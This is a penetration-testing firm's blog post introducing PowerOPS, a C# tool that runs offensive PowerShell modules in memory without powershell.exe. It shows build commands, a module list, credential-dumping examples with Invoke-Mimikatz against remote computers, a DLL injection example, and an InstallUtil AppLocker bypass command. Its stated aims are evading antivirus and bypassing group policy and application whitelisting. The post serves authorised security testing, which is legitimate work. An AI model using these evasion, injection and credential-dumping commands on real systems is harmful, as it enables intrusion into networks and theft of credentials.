Research and Development

At Portcullis, one of the most frequent assessments we perform are breakouts. One of the main challenges we face during these assessments is to get command execution that can either help escalate our privileges or allow us to gain access to different systems on the network.

Sometimes we find harsh group policy restrictions in place that block access to the Windows Command Prompt, PowerShell, among others. These, however, are not always properly implemented, i.e. they do not block access to all executables (and allow only certain programs to run).

After getting command execution, we want to attack other systems on the network. However it isn’t always easy to get a flexible toolbox in the system that allow us to gather information and launch further attacks. PowerShell is our preferred post-exploitation language and powershell.exe access is usually blocked (as .ps1 scripts). However since the block is often incorrectly implemented, i.e. the DLLs used by PowerShell aren’t usually blocked, this can open some doors. On top of that some AVs started implementing some basic signatures that will pick some well known PowerShell scripts. The bypass is trivial but we want to be as stealthy as possible and it still delay us a bit.

How can we bypass some of these “security mitigations” and speed up our tests? PowerOPS is an application written in C# that does not rely on powershell.exe but runs PowerShell commands and functions within a PowerShell runspace environment (.NET). Besides this, it includes multiple offensive PowerShell modules to make the process of post-exploitation easier.

It tries to follow the KISS principle, being as simple as possible. The main goal is to make it easy to use PowerShell offensively and help to evade Anti-Virus and other mitigations.

To do this, it:

  • Doesn’t rely on powershell.exe, it calls PowerShell directly through the .NET framework, which might help bypassing security controls like GPO, SRP and App Locker
  • Powershell functions within the Runspace are loaded in memory from Base64 Encoded Strings and never touch disk, evading most Anti-Virus engines

What’s inside the runspace?


  • Get-Keystrokes
  • Invoke-DllInjection
  • Invoke-Mimikatz
  • Invoke-NinjaCopy
  • Invoke-Shellcode
  • Invoke-ReflectivePEInjection
  • Invoke-TokenManipulation
  • Invoke-WMICommand
  • PowerUp
  • PowerView


  • Get-Information
  • Get-PassHashes
  • Port-Scan





  • Invoke-Psexec
  • Invoke-SSHCommand

Additionally you can run any valid PowerShell command.

Where to get it?

The source code is available at GitHub.

How to compile it

To compile PowerOPS you need to import this project within Microsoft Visual Studio or if you don’t have access to a Visual Studio installation, you can compile it as follows:

To compile it as an x86 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x86.exe /platform:x86 "C:\path\to\PowerOPS\PowerOPS\*.cs"

To compile it as an x64 binary:

C:\> cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\> csc.exe /unsafe /reference:"C:\path\to\System.Management.Automation.dll" /reference:System.IO.Compression.dll /out:C:\users\username\PowerOPS_x64.exe /platform:x64 "C:\path\to\PowerOPS\PowerOPS\*.cs"

PowerOPS uses the System.Management.Automation namespace, so make sure you have the System.Management.Automation.dll within your source path when compiling outside of Visual Studio.

How to use it

Just run the binary and type show to list available modules.

PS > show

[-] This computer is not part of a Domain! Some functions will not work!

[+] Nishang

 Get-Information    Get-PassHashes             Port-Scan

[+] PowerSploit

 Get-KeyStrokes     Invoke-DllInjection        Invoke-Mimikatz     Invoke-NinjaCopy
 Invoke-Shellcode   Invoke-TokenManipulation   Invoke-WmiCommand   Invoke-ReflectivePEInjection
 PowerView          PowerUp

[+] Empire

 Invoke-PsExec      Invoke-SSHCommand

[+] Others

 Auto-GPPPassword   Get-ProductKey             PowerCat

PS >

PowerUp and PowerView are loaded as modules, so Get-Command -module will show you all available functions.

PS > get-command -module powerup

CommandType     Name                                               ModuleName
-----------     ----                                               ----------
Function        Find-DLLHijack                                     PowerUp
Function        Find-PathHijack                                    PowerUp
Function        Get-ApplicationHost                                PowerUp
Function        Get-ModifiableFile                                 PowerUp
Function        Get-RegAlwaysInstallElevated                       PowerUp
Function        Get-RegAutoLogon                                   PowerUp
Function        Get-ServiceDetail                                  PowerUp
Function        Get-ServiceFilePermission                          PowerUp
Function        Get-ServicePermission                              PowerUp
Function        Get-ServiceUnquoted                                PowerUp
Function        Get-UnattendedInstallFile                          PowerUp
Function        Get-VulnAutoRun                                    PowerUp
Function        Get-VulnSchTask                                    PowerUp
Function        Get-Webconfig                                      PowerUp
Function        Install-ServiceBinary                              PowerUp
Function        Invoke-AllChecks                                   PowerUp
Function        Invoke-ServiceAbuse                                PowerUp
Function        Invoke-ServiceDisable                              PowerUp
Function        Invoke-ServiceEnable                               PowerUp
Function        Invoke-ServiceStart                                PowerUp
Function        Invoke-ServiceStop                                 PowerUp
Function        Restore-ServiceBinary                              PowerUp
Function        Test-ServiceDaclPermission                         PowerUp
Function        Write-HijackDll                                    PowerUp
Function        Write-ServiceBinary                                PowerUp
Function        Write-UserAddMSI                                   PowerUp

PS >

All your PowerShell fu applies. PowerOPS is basically a PowerShell shell with some modules/functions pre-loaded. So Get-Help is your friend and will help you to understand how the modules can be used.

Let’s say you want to see examples on how to use Invoke-Mimikatz.

PS > Get-Help Invoke-Mimikatz -examples


    This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to
    reflectively load Mimikatz completely in memory. This allows you to do
    things such as
    dump credentials without ever writing the mimikatz binary to disk.
    The script has a ComputerName parameter which allows it to be executed
    against multiple computers.

    This script should be able to dump credentials from any version of Windows
    through Windows 8.1 that has PowerShell v2 or higher installed.

    Function: Invoke-Mimikatz
    Author: Joe Bialek, Twitter: @JosephBialek
    Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: Email: Twitter
    Required Dependencies: Mimikatz (included)
    Optional Dependencies: None
    Version: 1.5
    ReflectivePEInjection version: 1.1
    Mimikatz version: 2.0 alpha (2/16/2015)

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Execute mimikatz on the local computer to dump certificates.

    Invoke-Mimikatz -DumpCerts

    -------------------------- EXAMPLE 2 --------------------------

    C:\PS>Execute mimikatz on two remote computers to dump credentials.

    Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")

    -------------------------- EXAMPLE 3 --------------------------

    C:\PS>Execute mimikatz on a remote computer with the custom command
    "privilege::debug exit" which simply requests debug privilege and exits

    Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"

PS >

Or simply look at the whole help available for Invoke-DllInjection.

PS > Get-Help Invoke-DllInjection -full


    Injects a Dll into the process ID of your choosing.

    PowerSploit Function: Invoke-DllInjection
    Author: Matthew Graeber (@mattifestation)
    License: BSD 3-Clause
    Required Dependencies: None
    Optional Dependencies: None

    Invoke-DllInjection [-ProcessID] <Int32> [-Dll] <String>

    Invoke-DllInjection injects a Dll into an arbitrary process.

    -ProcessID <Int32>
        Process ID of the process you want to inject a Dll into.

        Required?                    true
        Position?                    1
        Default value                0
        Accept pipeline input?       false
        Accept wildcard characters?  false

    -Dll <String>
        Name of the dll to inject. This can be an absolute or relative path.

        Required?                    true
        Position?                    2
        Default value
        Accept pipeline input?       false
        Accept wildcard characters?  false

        This cmdlet supports the common parameters: Verbose, Debug,
        ErrorAction, ErrorVariable, WarningAction, WarningVariable,
        OutBuffer, PipelineVariable, and OutVariable. For more information, see
        about_CommonParameters (



        Use the '-Verbose' option to print detailed information.

    -------------------------- EXAMPLE 1 --------------------------

    C:\PS>Invoke-DllInjection -ProcessID 4274 -Dll evil.dll

    Inject 'evil.dll' into process ID 4274.


PS >

You can play around with the output…

PS > get-productkey

OSDescription        Computername        OSVersion           ProductKey
-------------        ------------        ---------           ----------
Microsoft Windows... VISUALSTUDIO        6.1.7601            ABCDE-54321-UVXY...

PS > get-productkey | format-list

OSDescription : Microsoft Windows 7 Professional N
Computername  : VISUALSTUDIO
OSVersion     : 6.1.7601
ProductKey    : ABCDE-54321-UVXYZ-12345-LMNOP

Save the output of your commands the way you want…

PS > invoke-allchecks | Out-File -Encoding ascii powerup.output.txt

PS > type powerup.output.txt

[*] Running Invoke-AllChecks

[*] Checking if user is in a local group with administrative privileges...
[+] User is in a local group that grants administrative privileges!
[+] Run a BypassUAC attack to elevate privileges to admin.

[*] Checking for unquoted service paths...

[*] Checking service executable and argument permissions...

[*] Checking service permissions...

[*] Checking %PATH% for potentially hijackable .dll locations...

[*] Checking for AlwaysInstallElevated registry key...

[*] Checking for Autologon credentials in registry...

[*] Checking for vulnerable registry autoruns and configs...

[*] Checking for vulnerable schtask files/configs...

[*] Checking for unattended install files...

[*] Checking for encrypted web.config strings...

[*] Checking for encrypted application pool and virtual directory passwords...

PS >

Do some math…

PS > $a=1

PS > $b=4

PS > $c=$a+$b

PS > echo $c

Browse the file system…

PS > cd c:\

PS > ls

    Directory: C:\

Mode                LastWriteTime     Length Name
----                -------------     ------ ----
d----        14/02/2016     17:21            bin
d----        17/02/2016     15:02            Dev-Cpp
d----        14/07/2009     04:20            PerfLogs
d-r--        26/04/2016     20:00            Program Files
d-r--        26/04/2016     20:00            Program Files (x86)
d----        19/02/2016     21:06            Python27
d-r--        26/11/2015     17:20            Users
d----        12/05/2016     15:53            Windows
-a---        19/03/2010     23:55    2073703 VS_EXPBSLN_x64_enu.CAB
-a---        19/03/2010     23:58     551424 VS_EXPBSLN_x64_enu.MSI

PS > pwd


PS >

And so on…

PowerShell v5 is coming with some new security features that will certainly affect some of the payloads contained in PowerOPS, so further development is expected as well as addition of new attack modules.

AppLocker bypass

PowerOPS includes the InstallUtil AppLocker bypass technique from Casey Smith. To make use of it run as shown below:

C:\> cd \Windows\Microsoft.NET\Framework\v4.0.30319 (Or newer .NET version folder)
C:\Windows\Microsoft.NET\Framework\v4.0.30319\> InstallUtil.exe /logfile= /LogToConsole=false /U C:\path\to\PowerOPS.exe


PowerOPS was inspired by Cn33liz/p0wnedShell, and basically consists of work from Nikhil Mittal of Nishang, mattifiestation of PowerSploit and sixdub, engima0x3 and harmj0y of Empire.

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